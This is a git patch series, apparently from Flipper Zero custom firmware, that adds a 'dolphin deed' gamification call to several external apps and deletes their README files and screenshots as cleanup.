@@ -2,6 +2,7 @@ * See the LICENSE file for information about the license. */ #include "app.h" +#include RawSamplesBuffer *RawSamples, *DetectedSamples; extern const SubGhzProtocolRegistry protoview_protocol_registry; @@ -258,6 +259,7 @@ static bool keyboard_view_dispatcher_navigation_callback(void* ctx) { int32_t protoview_app_entry(void* p) { UNUSED(p); ProtoViewApp* app = protoview_app_alloc(); + DOLPHIN_DEED(DolphinDeedPluginStart); /* Create a timer. We do data analysis in the callback. */ FuriTimer* timer = furi_timer_alloc(timer_callback, FuriTimerTypePeriodic, app); diff --git a/applications/external/sentry_safe/sentry_safe.c b/applications/external/sentry_safe/sentry_safe.c index 789b43f2c..a0667b686 100644 --- a/applications/external/sentry_safe/sentry_safe.c +++ b/applications/external/sentry_safe/sentry_safe.c @@ -2,6 +2,7 @@ #include #include #include +#include #include @@ -84,6 +85,7 @@ int32_t sentry_safe_app(void* p) { UNUSED(p); FuriMessageQueue* event_queue = furi_message_queue_alloc(8, sizeof(Event)); + DOLPHIN_DEED(DolphinDeedPluginStart); SentryState* sentry_state = malloc(sizeof(SentryState)); @@ -166,4 +168,4 @@ int32_t sentry_safe_app(void* p) { free(sentry_state); return 0; -} \ No newline at end of file +} diff --git a/applications/external/spectrum_analyzer/spectrum_analyzer.c b/applications/external/spectrum_analyzer/spectrum_analyzer.c index d38c6bf23..7148ad92b 100644 --- a/applications/external/spectrum_analyzer/spectrum_analyzer.c +++ b/applications/external/spectrum_analyzer/spectrum_analyzer.c @@ -5,6 +5,7 @@ #include #include #include "spectrum_analyzer.h" +#include #include #include "spectrum_analyzer_worker.h" @@ -400,6 +401,7 @@ void spectrum_analyzer_free(SpectrumAnalyzer* instance) { int32_t spectrum_analyzer_app(void* p) { UNUSED(p); + DOLPHIN_DEED(DolphinDeedPluginStart); SpectrumAnalyzer* spectrum_analyzer = spectrum_analyzer_alloc(); InputEvent input; @@ -523,4 +525,4 @@ int32_t spectrum_analyzer_app(void* p) { spectrum_analyzer_free(spectrum_analyzer); return 0; -} \ No newline at end of file +} diff --git a/applications/external/subghz_bruteforcer/subbrute.c b/applications/external/subghz_bruteforcer/subbrute.c index e0ecb31c3..a5b971b73 100644 --- a/applications/external/subghz_bruteforcer/subbrute.c +++ b/applications/external/subghz_bruteforcer/subbrute.c @@ -1,6 +1,7 @@ #include "subbrute_i.h" #include "subbrute_custom_event.h" #include "scenes/subbrute_scene.h" +#include #define TAG "SubBruteApp" @@ -173,6 +174,7 @@ void subbrute_popup_closed_callback(void* context) { int32_t subbrute_app(void* p) { UNUSED(p); + DOLPHIN_DEED(DolphinDeedPluginStart); SubBruteState* instance = subbrute_alloc(); view_dispatcher_attach_to_gui( instance->view_dispatcher, instance->gui, ViewDispatcherTypeFullscreen); @@ -196,4 +198,4 @@ int32_t subbrute_app(void* p) { subbrute_free(instance); return 0; -} \ No newline at end of file +} diff --git a/applications/external/subghz_playlist/playlist.c b/applications/external/subghz_playlist/playlist.c index e17526b84..345b19927 100644 --- a/applications/external/subghz_playlist/playlist.c +++ b/applications/external/subghz_playlist/playlist.c @@ -17,6 +17,7 @@ #include #include +#include #include "playlist_file.h" #include "canvas_helper.h" @@ -696,6 +697,7 @@ void playlist_free(Playlist* app) { int32_t playlist_app(void* p) { UNUSED(p); + DOLPHIN_DEED(DolphinDeedPluginStart); // create playlist folder { diff --git a/applications/external/subghz_remote/subghz_remote_app.c b/applications/external/subghz_remote/subghz_remote_app.c index 120b7d4ed..df4b8465a 100644 --- a/applications/external/subghz_remote/subghz_remote_app.c +++ b/applications/external/subghz_remote/subghz_remote_app.c @@ -23,6 +23,7 @@ #include #include #include +#include #define SUBREMOTEMAP_FOLDER "/ext/subghz/remote" #define SUBREMOTEMAP_EXTENSION ".txt" @@ -804,6 +805,7 @@ void subghz_remote_free(SubGHzRemote* app, bool with_subghz) { int32_t subghz_remote_app(void* p) { UNUSED(p); + DOLPHIN_DEED(DolphinDeedPluginStart); SubGHzRemote* app = subghz_remote_alloc(); app->file_path = furi_string_alloc(); diff --git a/applications/external/totp/totp_app.c b/applications/external/totp/totp_app.c index 74ec52f2c..e5c101e5f 100644 --- a/applications/external/totp/totp_app.c +++ b/applications/external/totp/totp_app.c @@ -7,7 +7,6 @@ #include #include #include -#include #include "features_config.h" #include "services/config/config.h" #include "types/plugin_state.h" @@ -169,9 +168,6 @@ int32_t totp_app() { return 253; } - // Affecting dolphin level - DOLPHIN_DEED(DolphinDeedPluginStart); - // Set system callbacks ViewPort* view_port = view_port_alloc(); view_port_draw_callback_set(view_port, render_callback, plugin_state); diff --git a/applications/external/wifi_deauther/wifi_deauther_app.c b/applications/external/wifi_deauther/wifi_deauther_app.c index 28fb28d88..2c9ea17fc 100644 --- a/applications/external/wifi_deauther/wifi_deauther_app.c +++ b/applications/external/wifi_deauther/wifi_deauther_app.c @@ -3,6 +3,7 @@ #include #include #include +#include static bool wifi_deauther_app_custom_event_callback(void* context, uint32_t event) { furi_assert(context); @@ -24,6 +25,7 @@ static void wifi_deauther_app_tick_event_callback(void* context) { WifideautherApp* wifi_deauther_app_alloc() { WifideautherApp* app = malloc(sizeof(WifideautherApp)); + DOLPHIN_DEED(DolphinDeedPluginStart); app->gui = furi_record_open(RECORD_GUI); diff --git a/applications/external/wifi_marauder_companion/wifi_marauder_app.c b/applications/external/wifi_marauder_companion/wifi_marauder_app.c index 7563d927a..7369fa10f 100644 --- a/applications/external/wifi_marauder_companion/wifi_marauder_app.c +++ b/applications/external/wifi_marauder_companion/wifi_marauder_app.c @@ -2,6 +2,7 @@ #include #include +#include static bool wifi_marauder_app_custom_event_callback(void* context, uint32_t event) { furi_assert(context); @@ -23,6 +24,7 @@ static void wifi_marauder_app_tick_event_callback(void* context) { WifiMarauderApp* wifi_marauder_app_alloc() { WifiMarauderApp* app = malloc(sizeof(WifiMarauderApp)); + DOLPHIN_DEED(DolphinDeedPluginStart); app->gui = furi_record_open(RECORD_GUI); app->dialogs = furi_record_open(RECORD_DIALOGS); From e771899ec973d786a43ae3990dcccddfce7b70a3 Mon Sep 17 00:00:00 2001 From: Willy-JL <49810075+Willy-JL@users.noreply.github.com> Date: Mon, 27 Mar 2023 06:29:27 +0100 Subject: [PATCH 281/329] Ext apps cleanup --- applications/external/airmouse/README.md | 60 ---- applications/external/bpmtapper/README.md | 14 - .../bpmtapper/images/DolphinCommon_56x48.png | Bin 1416 -> 0 bytes applications/external/caesarcipher/README.md | 17 -- applications/external/caesarcipher/img/1.png | Bin 2197 -> 0 bytes applications/external/caesarcipher/img/2.png | Bin 2063 -> 0 bytes applications/external/calculator/calc.png | Bin 1206 -> 0 bytes applications/external/cli_bridge/.gitignore | 1 - applications/external/cli_bridge/README.md | 24 -- applications/external/cntdown_timer/README.md | 11 - applications/external/counter/README.md | 8 - applications/external/dap_link/README.md | 105 ------- applications/external/doom/README.md | 68 ----- applications/external/dtmf_dolphin/README.md | 18 -- .../external/dtmf_dolphin/pics/dialer.jpg | Bin 2003305 -> 0 bytes applications/external/flashlight/README.md | 7 - applications/external/flipfrid/README.md | 35 --- .../external/flipper_i2ctools/README.md | 44 --- .../external/flipper_i2ctools/i2ctools.gif | Bin 2661177 -> 0 bytes applications/external/game15/README.md | 13 - applications/external/game_2048/README.md | 17 -- .../external/game_2048/images/screenshot1.png | Bin 2038 -> 0 bytes .../external/game_2048/images/screenshot2.png | Bin 2183 -> 0 bytes applications/external/gpio_reader_a/README.md | 3 - applications/external/gpio_reader_b/README.md | 16 - .../external/gpio_reader_b/gpioreader.png | Bin 1919 -> 0 bytes applications/external/gps_nmea_uart/README.md | 34 --- applications/external/gps_nmea_uart/ui.png | Bin 84291 -> 0 bytes .../external/gps_nmea_uart/wiring.png | Bin 82441 -> 0 bytes applications/external/lightmeter/README.md | 21 -- .../external/lightmeter/lib/BH1750/README.md | 2 - applications/external/metronome/README.md | 23 -- applications/external/minesweeper/README.md | 20 -- .../.github/workflows/build_dev.yml | 19 -- applications/external/musictracker/README.md | 4 - .../external/musictracker/icons/.gitignore | 0 applications/external/nrf24scan/README.md | 125 -------- .../external/nrf24scan/Screenshot-1.png | Bin 2347 -> 0 bytes .../external/nrf24scan/Screenshot-2.png | Bin 3275 -> 0 bytes .../external/nrf24scan/Screenshot-3.png | Bin 2064 -> 0 bytes .../external/nrf24scan/Screenshot-4.png | Bin 1664 -> 0 bytes .../external/nrf24scan/Screenshot-5.png | Bin 7483 -> 0 bytes .../external/nrf24scan/Screenshot-6.png | Bin 3226 -> 0 bytes .../external/nrf24scan/Screenshot-7.png | Bin 1959 -> 0 bytes applications/external/ocarina/README.md | 4 - applications/external/passgen/README.md | 4 - applications/external/protoview/README.md | 289 ------------------ .../protoview/images/ProtoViewSignal.jpg | Bin 85828 -> 0 bytes .../external/protoview/images/protoview_1.jpg | Bin 66885 -> 0 bytes .../external/protoview/images/protoview_2.jpg | Bin 64574 -> 0 bytes applications/external/rc2014_coleco/README.md | 38 --- applications/external/rc2014_coleco/ui.png | Bin 92556 -> 0 bytes .../external/rubiks_cube_scrambler/README.md | 13 - .../external/spi_mem_manager/tools/README.md | 7 - applications/external/swd_probe/.gitignore | 52 ---- applications/external/swd_probe/README.md | 17 -- .../external/tama_p1/tamalib/README.md | 64 ---- applications/external/text_viewer/README.md | 9 - .../text_viewer/textviewerflipper.PNG | Bin 11796 -> 0 bytes applications/external/timelapse/README.md | 78 ----- applications/external/tuning_fork/README.md | 30 -- .../external/tuning_fork/img/screenshot_1.png | Bin 1638 -> 0 bytes .../external/tuning_fork/img/screenshot_2.png | Bin 1874 -> 0 bytes .../external/tuning_fork/img/tuning_fork.gif | Bin 90811 -> 0 bytes applications/external/uart_terminal/README.md | 45 --- applications/external/unitemp/README.md | 24 -- .../external/unitemp/assets/README.MD | 3 - .../external/usb_hid_autofire/.gitignore | 1 - .../external/usb_hid_autofire/README.md | 32 -- .../external/usb_hid_autofire/screenshot.png | Bin 2176 -> 0 bytes applications/external/wav_player/README.md | 6 - applications/external/wifi_deauther/README.md | 50 --- .../external/wii_ec_anal/_images/CLASSIC.png | Bin 4373 -> 0 bytes .../wii_ec_anal/_images/CLASSIC_N.png | Bin 5147 -> 0 bytes .../external/wii_ec_anal/_images/DEBUG.png | Bin 3942 -> 0 bytes .../external/wii_ec_anal/_images/DUMP.png | Bin 4763 -> 0 bytes .../wii_ec_anal/_images/GIMP/Nunchuck_acc.xcf | Bin 555803 -> 0 bytes .../external/wii_ec_anal/_images/GIMP/RIP.xcf | Bin 11823 -> 0 bytes .../wii_ec_anal/_images/GIMP/Wiring.xcf | Bin 1519579 -> 0 bytes .../wii_ec_anal/_images/GIMP/classic.xcf | Bin 44768 -> 0 bytes .../wii_ec_anal/_images/GIMP/csLogo.xcf | Bin 28597 -> 0 bytes .../wii_ec_anal/_images/GIMP/fonts.xcf | Bin 33845 -> 0 bytes .../wii_ec_anal/_images/GIMP/frame.xcf | Bin 1584236 -> 0 bytes .../wii_ec_anal/_images/GIMP/port.xcf | Bin 33732 -> 0 bytes .../wii_ec_anal/_images/GIMP/social.xcf | Bin 5041256 -> 0 bytes .../external/wii_ec_anal/_images/NUNCHUCK.png | Bin 4457 -> 0 bytes .../wii_ec_anal/_images/NUNCHUCK_acc.png | Bin 81659 -> 0 bytes .../wii_ec_anal/_images/NUNCHUCK_anal.png | Bin 4410 -> 0 bytes .../wii_ec_anal/_images/NUNCHUCK_cal.gif | Bin 5868 -> 0 bytes .../wii_ec_anal/_images/NUNCHUCK_cal.png | Bin 4403 -> 0 bytes .../wii_ec_anal/_images/Nunchucky.png | Bin 319083 -> 0 bytes .../external/wii_ec_anal/_images/RIP.png | Bin 4983 -> 0 bytes .../external/wii_ec_anal/_images/SPLASH.png | Bin 5214 -> 0 bytes .../external/wii_ec_anal/_images/WAIT.png | Bin 4006 -> 0 bytes .../external/wii_ec_anal/_images/WiiChuck.png | Bin 101207 -> 0 bytes .../external/wii_ec_anal/_images/Wiring.png | Bin 347489 -> 0 bytes .../external/wii_ec_anal/_images/plug.png | Bin 75270 -> 0 bytes .../external/wii_ec_anal/_images/social.png | Bin 718696 -> 0 bytes applications/external/yatzee/README.md | 48 --- 99 files changed, 1523 deletions(-) delete mode 100644 applications/external/airmouse/README.md delete mode 100644 applications/external/bpmtapper/README.md delete mode 100644 applications/external/bpmtapper/images/DolphinCommon_56x48.png delete mode 100644 applications/external/caesarcipher/README.md delete mode 100644 applications/external/caesarcipher/img/1.png delete mode 100644 applications/external/caesarcipher/img/2.png delete mode 100644 applications/external/calculator/calc.png delete mode 100644 applications/external/cli_bridge/.gitignore delete mode 100644 applications/external/cli_bridge/README.md delete mode 100644 applications/external/cntdown_timer/README.md delete mode 100644 applications/external/counter/README.md delete mode 100644 applications/external/dap_link/README.md delete mode 100644 applications/external/doom/README.md delete mode 100644 applications/external/dtmf_dolphin/README.md delete mode 100644 applications/external/dtmf_dolphin/pics/dialer.jpg delete mode 100644 applications/external/flashlight/README.md delete mode 100644 applications/external/flipfrid/README.md delete mode 100644 applications/external/flipper_i2ctools/README.md delete mode 100644 applications/external/flipper_i2ctools/i2ctools.gif delete mode 100644 applications/external/game15/README.md delete mode 100644 applications/external/game_2048/README.md delete mode 100644 applications/external/game_2048/images/screenshot1.png delete mode 100644 applications/external/game_2048/images/screenshot2.png delete mode 100644 applications/external/gpio_reader_a/README.md delete mode 100644 applications/external/gpio_reader_b/README.md delete mode 100644 applications/external/gpio_reader_b/gpioreader.png delete mode 100644 applications/external/gps_nmea_uart/README.md delete mode 100644 applications/external/gps_nmea_uart/ui.png delete mode 100644 applications/external/gps_nmea_uart/wiring.png delete mode 100644 applications/external/lightmeter/README.md delete mode 100644 applications/external/lightmeter/lib/BH1750/README.md delete mode 100644 applications/external/metronome/README.md delete mode 100644 applications/external/minesweeper/README.md delete mode 100644 applications/external/musictracker/.github/workflows/build_dev.yml delete mode 100644 applications/external/musictracker/README.md delete mode 100644 applications/external/musictracker/icons/.gitignore delete mode 100644 applications/external/nrf24scan/README.md delete mode 100644 applications/external/nrf24scan/Screenshot-1.png delete mode 100644 applications/external/nrf24scan/Screenshot-2.png delete mode 100644 applications/external/nrf24scan/Screenshot-3.png delete mode 100644 applications/external/nrf24scan/Screenshot-4.png delete mode 100644 applications/external/nrf24scan/Screenshot-5.png delete mode 100644 applications/external/nrf24scan/Screenshot-6.png delete mode 100644 applications/external/nrf24scan/Screenshot-7.png delete mode 100644 applications/external/ocarina/README.md delete mode 100644 applications/external/passgen/README.md delete mode 100644 applications/external/protoview/README.md delete mode 100644 applications/external/protoview/images/ProtoViewSignal.jpg delete mode 100644 applications/external/protoview/images/protoview_1.jpg delete mode 100644 applications/external/protoview/images/protoview_2.jpg delete mode 100644 applications/external/rc2014_coleco/README.md delete mode 100644 applications/external/rc2014_coleco/ui.png delete mode 100644 applications/external/rubiks_cube_scrambler/README.md delete mode 100644 applications/external/spi_mem_manager/tools/README.md delete mode 100644 applications/external/swd_probe/.gitignore delete mode 100644 applications/external/swd_probe/README.md delete mode 100644 applications/external/tama_p1/tamalib/README.md delete mode 100644 applications/external/text_viewer/README.md delete mode 100644 applications/external/text_viewer/textviewerflipper.PNG delete mode 100644 applications/external/timelapse/README.md delete mode 100644 applications/external/tuning_fork/README.md delete mode 100644 applications/external/tuning_fork/img/screenshot_1.png delete mode 100644 applications/external/tuning_fork/img/screenshot_2.png delete mode 100644 applications/external/tuning_fork/img/tuning_fork.gif delete mode 100644 applications/external/uart_terminal/README.md delete mode 100644 applications/external/unitemp/README.md delete mode 100644 applications/external/unitemp/assets/README.MD delete mode 100644 applications/external/usb_hid_autofire/.gitignore delete mode 100644 applications/external/usb_hid_autofire/README.md delete mode 100644 applications/external/usb_hid_autofire/screenshot.png delete mode 100644 applications/external/wav_player/README.md delete mode 100644 applications/external/wifi_deauther/README.md delete mode 100644 applications/external/wii_ec_anal/_images/CLASSIC.png delete mode 100644 applications/external/wii_ec_anal/_images/CLASSIC_N.png delete mode 100644 applications/external/wii_ec_anal/_images/DEBUG.png delete mode 100644 applications/external/wii_ec_anal/_images/DUMP.png delete mode 100644 applications/external/wii_ec_anal/_images/GIMP/Nunchuck_acc.xcf delete mode 100644 applications/external/wii_ec_anal/_images/GIMP/RIP.xcf delete mode 100644 applications/external/wii_ec_anal/_images/GIMP/Wiring.xcf delete mode 100644 applications/external/wii_ec_anal/_images/GIMP/classic.xcf delete mode 100644 applications/external/wii_ec_anal/_images/GIMP/csLogo.xcf delete mode 100644 applications/external/wii_ec_anal/_images/GIMP/fonts.xcf delete mode 100644 applications/external/wii_ec_anal/_images/GIMP/frame.xcf delete mode 100644 applications/external/wii_ec_anal/_images/GIMP/port.xcf delete mode 100644 applications/external/wii_ec_anal/_images/GIMP/social.xcf delete mode 100644 applications/external/wii_ec_anal/_images/NUNCHUCK.png delete mode 100644 applications/external/wii_ec_anal/_images/NUNCHUCK_acc.png delete mode 100644 applications/external/wii_ec_anal/_images/NUNCHUCK_anal.png delete mode 100644 applications/external/wii_ec_anal/_images/NUNCHUCK_cal.gif delete mode 100644 applications/external/wii_ec_anal/_images/NUNCHUCK_cal.png delete mode 100644 applications/external/wii_ec_anal/_images/Nunchucky.png delete mode 100644 applications/external/wii_ec_anal/_images/RIP.png delete mode 100644 applications/external/wii_ec_anal/_images/SPLASH.png delete mode 100644 applications/external/wii_ec_anal/_images/WAIT.png delete mode 100644 applications/external/wii_ec_anal/_images/WiiChuck.png delete mode 100644 applications/external/wii_ec_anal/_images/Wiring.png delete mode 100644 applications/external/wii_ec_anal/_images/plug.png delete mode 100644 applications/external/wii_ec_anal/_images/social.png delete mode 100644 applications/external/yatzee/README.md diff --git a/applications/external/airmouse/README.md b/applications/external/airmouse/README.md deleted file mode 100644 index 04e346e4b..000000000 --- a/applications/external/airmouse/README.md +++ /dev/null @@ -1,60 +0,0 @@ -# Flipper Air Mouse - -## Brief - -> "You can turn anything into an air mouse if you're brave enough" - - — Piper, a.k.a. Pez - -Naturally, the quote above applies to [Flipper](https://flipperzero.one/) as well. - -## What? - -The app allows you to turn your Flipper into a USB or Bluetooth air mouse (you do need an extra module, see the Hardware section below)... - -Using it is really simple: - * Connect the Flipper via a USB cable and pick `USB`, or pick `Bluetooth` and pair it with your PC; - * Hold the Flipper in your hand with the buttons pointing towards the screen; - * Wave your Flipper like you don't care to move the cursor; - * Up button for Left mouse click; - * Down button for Right mouse click; - * Center button for Middle mouse click; - * Left and Right buttons for scrolling; - * Use calibration menu option if you notice significant drift (place your Flipper onto a level surface, make sure it doesn't move, run this option, wait 2 seconds, done). - -See early prototype [in action](https://www.youtube.com/watch?v=DdxAmmsYfMA). - -## Hardware - -The custom module is using Bosch BMI160 accelerometer/gyroscope chip connected via I2C. - -Take a look into the [schematic](https://github.com/ginkage/FlippAirMouse/tree/main/schematic) folder for Gerber, BOM and CPL files, so you can order directly from JLCPCB. - -Original idea: - -![What I thought it would look like](https://github.com/ginkage/FlippAirMouse/blob/main/schematic/schematic.png) - -Expectation: - -![What EDA though it would look like](https://github.com/ginkage/FlippAirMouse/blob/main/schematic/render.png) - -Reality: - -![What it looks like](https://github.com/ginkage/FlippAirMouse/blob/main/schematic/flipper.jpg) - -## Software - -The code is based on the original Bosch [driver](https://github.com/BoschSensortec/BMI160_driver/) and an orientation tracking implementation from the Google [Cardboard](https://github.com/googlevr/cardboard/tree/master/sdk/sensors) project - -If you're familiar with Flipper applications, start in the [firmware](https://github.com/flipperdevices/flipperzero-firmware) checkout folder and do the following: -``` -cd applications/plugins -git clone https://github.com/ginkage/FlippAirMouse -cd ../.. -./fbt fap_air_mouse -``` -If you're not familiar with those, just grab a `fap` file from Releases. - -## License - -TL;DR: Use the code however you want, give credit where it's due, no warranty of any kind is provided. diff --git a/applications/external/bpmtapper/README.md b/applications/external/bpmtapper/README.md deleted file mode 100644 index 8e88863ee..000000000 --- a/applications/external/bpmtapper/README.md +++ /dev/null @@ -1,14 +0,0 @@ -# BPM Tapper - -A BPM Tapper for the Flipper Zero. - -![screenshot](img/screenshot.png) - -Hit any button other than back repeatedly. Calculates based on the average of the last 8 inputs. - -## Compiling - -``` -./fbt firmware_bpm_tapper -``` - diff --git a/applications/external/bpmtapper/images/DolphinCommon_56x48.png b/applications/external/bpmtapper/images/DolphinCommon_56x48.png deleted file mode 100644 index 089aaed83507431993a76ca25d32fdd9664c1c84..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 1416 zcmaJ>eNYr-7(dh;KXS5&nWVIBjS_NizYg|x=Pr^vz*7zxJO|P-dw2IeZq?gec9-rD zoPZchQ_6}yP{Slc4I!!28K==nodOJ_nsCY-(wOq2uZbLx!rlYU{KIi)_Wj!D_j`WN z^FGgREXdEDF)ewT&1Re7Tj(uBvlG44lnH3;I%IzsO|z`*Vr!`uv?9QOwgs{#Ld+Ki zC9n_zxxBOkx@@+IwMwAaD)#3Ik`}gun2kLe))Crfb7e+#AgzHGCc+X$b>qJuIf`S7 z?8b}I{ghw#z>uiaLknQh@LJUrqHcVYS3v97F^OZN zCe|7^J|?QzUx0Zu17e(=CM1fYFpjtLk|a4~$g}e?hGH0!VoBOT&<=s(1ct%J9~?O} z$)jW_dkX9yTX~%W*i_IM%0{ z7EmP^_pKn`<5>E(SixgJU};7`)7Hidp&+DLnizsebUk}_-GfgbN^il9b`v)f+ z{o5Zry)d<7`fHQ^uw_;+x>mcPw0&8iW69x{k92O{Q}`yFdH=5d$pbf49w1&NS)G+vhr6y}5TMsofQirRDUmKilk5=(KGouJ{H9hW=$X zgi;)vI!jl!_4H3jD(?Jz=8By|i47I&tKA1y9{nfp;_|FxKBDNWp{hN9hJ1nU?z%J6 z?>UxyzWvO}Pgc~rCZ#5%Eq+_hNS~bBdiGlT&f%%e`hHjSySR2=JuK2^+%;$R3#Wz~ z=e_mfqW23bPa0fhe)HdE5+GelU&!jS3ckUZOQ)CC5?mo zo=tzG_4|RuvPUO|mhCwA>y)1c%SWC%a4?a-x|J*?ch~+n=R7o@>p6J2dE=$stKZmK z-xoTRwET2^Wu)&1U7!Ebw!!D?x`xwQX3pMnrRwCT?`4GHt4&?|cIiI{_^XYp-np>6 xE^lPSXzOYCC4X`6tl@OB1M5_S7jml-Y~(TPp{aTIejNKZ`m*!Atyxdk{0EAy49frj diff --git a/applications/external/caesarcipher/README.md b/applications/external/caesarcipher/README.md deleted file mode 100644 index 0d434f9de..000000000 --- a/applications/external/caesarcipher/README.md +++ /dev/null @@ -1,17 +0,0 @@ -# Caesar Cipher - -A [caesar cipher](https://en.wikipedia.org/wiki/Caesar_cipher) encoder for the Flipper Zero device. - -![input](img/1.png) -![output](img/2.png) - -## Usage - -Start app, painfully input your ciphertext with the onscreen keyboard. Replace spaces with underscores. Hit "Save", scroll output. - -## Compiling - -``` -./fbt firmware_caesar_cipher -``` - diff --git a/applications/external/caesarcipher/img/1.png b/applications/external/caesarcipher/img/1.png deleted file mode 100644 index 93a9bcdbe494128a7407e460180301ce7019e43d..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 2197 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 F{0ovmJ~99R diff --git a/applications/external/calculator/calc.png b/applications/external/calculator/calc.png deleted file mode 100644 index 838d7b964feaf466887daedbf8cfaa0966ee6d4b..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 1206 zcmV;n1WEgeP)Px#1ZP1_K>z@;j|==^1poj532;bRa{vGmbN~PnbOGLGA9w%&1WQRoK~#8N?VRnA z<1h$@lPzG|xB{<$n=LbKTmv~?Cu9hR5R$CKv3X{g_(NC-zY<#i*z@(zuj}c^{JxyN z?uUov{C&zKT>oYgQVAfHK%^3gR05GoAW{iLDuGBP5UB(rl|U>?IR9L3CkOq75>EF& zrLRZ*h2{5z{GLG5BC7++?PFR2}r&mr2p*dm@!U z6qRr!poFXrR2|OrbL=D#kLhq!uqG@@=w11F9r<+sR6^~qNMuS{D?L81#{Hgv0YGNb zS_ajd0Lu^8*jkAA6qNu+Yo1xxEM&(Vh_(`?WJmjM#Z&?U80pX(U=%A6Jfz$?B!|JCu5jB>-BI&odZPuOYc6{IS_YzX`ud#-Ibxpv-rM1!< z+$-69b$A6(LViymQVFbt-nqMlg$<1QrxMoQF@7SOt`3l@v?yL%>t0m}EuCvPc(xYM 